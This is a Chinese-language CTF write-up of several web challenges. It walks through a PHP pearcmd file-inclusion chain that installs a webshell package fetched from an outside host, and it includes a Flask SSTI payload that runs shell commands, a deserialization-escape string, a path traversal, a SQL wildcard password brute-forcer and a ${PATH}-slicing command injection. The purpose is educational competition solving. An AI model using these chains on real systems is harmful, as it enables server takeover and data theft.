是好玩的比賽的 WriteUp!
巔峰極客 2020 MeowWorld 首先看 hint register_argc_argv
,開啟環境之後發現在 index.php
有一個簡單的檔案包含。用 PHP 偽協議讀取一圈檔案,發現如下內容。
1 2 3 4 <?php $f = $_GET['f' ] ?? "home" ; include ("{$f}.php" ); ?>
根據 hint 可知,argc
和 argv
兩個引數可以指定,參考 這篇文章 可以知道接下來需要做什麼。既然要用 pearcmd
,當然是首先讀一手原始碼,於是利用上面的構造讀取出 pearcmd
的原始碼,找到關鍵部分如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public static function readPHPArgv () { global $argv; if (!is_array($argv)) { if (!@is_array($_SERVER['argv' ])) { if (!@is_array($GLOBALS['HTTP_SERVER_VARS' ]['argv' ])) { $msg = "Could not read cmd args (register_argc_argv=Off?)" ; return PEAR::raiseError("Console_Getopt: " . $msg); } return $GLOBALS['HTTP_SERVER_VARS' ]['argv' ]; } return $_SERVER['argv' ]; } return $argv; } }
可以發現 argv
會被當成引數返回,於是構造 ?f=pearcmd&argv=2+list
,得到回顯如下,於是按照文章上的指引,準備一個包。
首先下載 這個包 ,然後在 Archive_Tar-1.4.0/Archive
下增加一個一句話木馬的 PHP 檔案 zit.php
。然後將 ./package.xml
檔案中的 <content>
節點對應修改如下。
1 2 3 4 5 6 7 <contents > <dir name ="/" > <file baseinstalldir ="/" md5sum ="89b230679f31da6f8dbdea25095f4ca9" name ="Archive/Tar.php" role ="php" /> <file baseinstalldir ="/" md5sum ="7cc168393304c0c9c0de96d5e5e318e0" name ="Archive/zit.php" role ="doc" /> <file baseinstalldir ="/" md5sum ="2fb90f0be7089a45c09a0d1182792419" name ="docs/Archive_Tar.txt" role ="doc" /> </dir > </contents >
將整個包按原格式壓縮還原為 tar.gz
,然後上傳至伺服器獲取支鏈 https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
。接下來構造 ?f=pearcmd&argv=list+install+--installroot+/tmp/+https://v2.api.lemonprefect.cn/static/zips/zit.tar.gz
,得到包安裝成功的回顯 install ok: channel://pear.php.net/Archive_Tar-1.4.0
。
此時只需要找到 zit.php
的路由即可,隨便輸入一個之後看到報錯中的關鍵資訊 include_path='.:/usr/local/lib/php'
,於是拼合包的路徑之後訪問 /tmp/usr/local/lib/php/doc/Archive_Tar/Archive/zit
拿到 shell 的路由。使用蟻劍連線上去,可以看到 /readflag
。
執行 /readflag
時發現需要計算算術題,但是預設的虛擬終端沒有互動,於是使用 perl 指令碼完成這一步。在 /tmp/tmp
目錄下寫入指令碼並執行即可得 flag。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 use strict;use IPC::Open3;my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed $!" ; my $r;$r = <CHLD_OUT>; print "$r" ;$r = substr ($r,0 ,11 ); $r = eval "$r" ; print "$r\n" ;print CHLD_IN "$r\n" ;$r = <CHLD_OUT>; print "$r" ;$r = <CHLD_OUT>; print "$r" ;
babyflask 看介面,老 Whoami 了。直接看請求,發現是 SSTI,一套標準拳打出,拿到 flag。
1 .../loged?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
CTF Show 月餅杯 此夜圓 1 return str_replace('Firebasky' , 'Firebaskyup' , $string);
此處造成了簡單的反序列化逃逸,Firebasky
被替換成 Firebaskyup
,字元多出兩個。需要構造的反序列化字串可以寫成這樣。
1 O:1 :"a" :2 :{s:5 :"uname" ;s:(這裡是長度):"(這裡是使用者名稱)" ;s:8 :"password" ;s:5 :"yu22x" ;}";s:8:" password";i:1;}
總共填充了 30 個字元 ";s:8:"password";s:5:"yu22x";}
,因此需要 15 次替換才能將這 30 個字元變成後面的反序列化內容。 於是構造出這樣的 payload.
1 ?1=FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}
故人心 level 1 使用科學計數法表達一個極小的小數,採用 1e-199
。level 2 訪問 .../robots.txt
可以發現 hinthint.txt
進而找到如下提示。
1 2 3 4 5 Is it particularly difficult to break MD2?! I'll tell you quietly that I saw the payoad of the author. But the numbers are not clear.have fun~~~~ xxxxx024452 hash("md2",$b) xxxxxx48399 hash("md2",hash("md2",$b))
於是寫個指令碼跑一下 b
和 c
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php for ($i = 0 ;$i <= 999 ;$i++){ $b = sprintf("0e%03d" ,$i) . "024452" ; if ($b == hash("md2" ,$b)){ echo "b = " . $b . "\n" ; break ; } } for ($i = 0 ; $i <= 9999 ;$i++){ $c = sprintf("0e%04d" ,$i) . "48399" ; if ($c == hash("md2" ,hash("md2" ,$c))){ echo "c = " . $c . "\n" ; break ; } }
得到 b = 0e652024452,c = 0e603448399
。level 3
php 會把無法解析的協議當成目錄
因此,結合目錄穿越就能讀到 flag。
1 lemon://ctfshow.com/../../../../../../../../../../../../../fl0g.txt
莫負嬋娟 首先看一手頁面原始碼,得到這樣的 hint,使用者名稱是 yu22x
。
1 2 3 <!--注意:正式上線請刪除註釋內容! --> <!-- username yu22x --> <!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->
結合題目描述的 hint 環境變數 +linux字串擷取 + 萬用字元
,嘗試一波 SQL 的萬用字元。
依照上圖的結果構造一波 payload 發現當 password
引數為 6_______________________________
時回顯是不一樣的,於是寫個指令碼跑出密碼。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php const ASCII_START = 32 ;const ASCII_END = 127 ;$result = "6" ; for ($i = 0 ; $i < 31 ;$i++){ $p = sprintf("%0" . (30 - $i) . "d" ,0 ); if ($i == 30 ){ $p = "" ; } $p = str_replace("0" ,"_" ,$p); for ($j = ASCII_START;$j <= ASCII_END;$j++){ if ($j == 95 ){ continue ; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, '.../login.php' ); curl_setopt($ch, CURLOPT_HEADER, 1 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POST, 1 ); $postData = array ("password" => $result . chr($j) . $p, "username" => "yu22x" ); $postData = http_build_query($postData); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); $outcontent = curl_exec($ch); $httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); printf("Now j is %d,string is %s\n" ,$j,$result . chr($j) . $p); if (strpos($outcontent,"I have filtered all the characters. Why can you come in? get out!" ) || $httpCode == 302 ){ $result .= chr($j); echo $result; break ; } } }
可以得到密碼為 67815b0c009ee970fe4014abaa3Fa6A0
。
New Section 使用環境變數截取出 nl ????.???
的指令讀取 flag.php
。
1.1.1.1;${PATH:14:1}$ {PATH:5:1} ????.???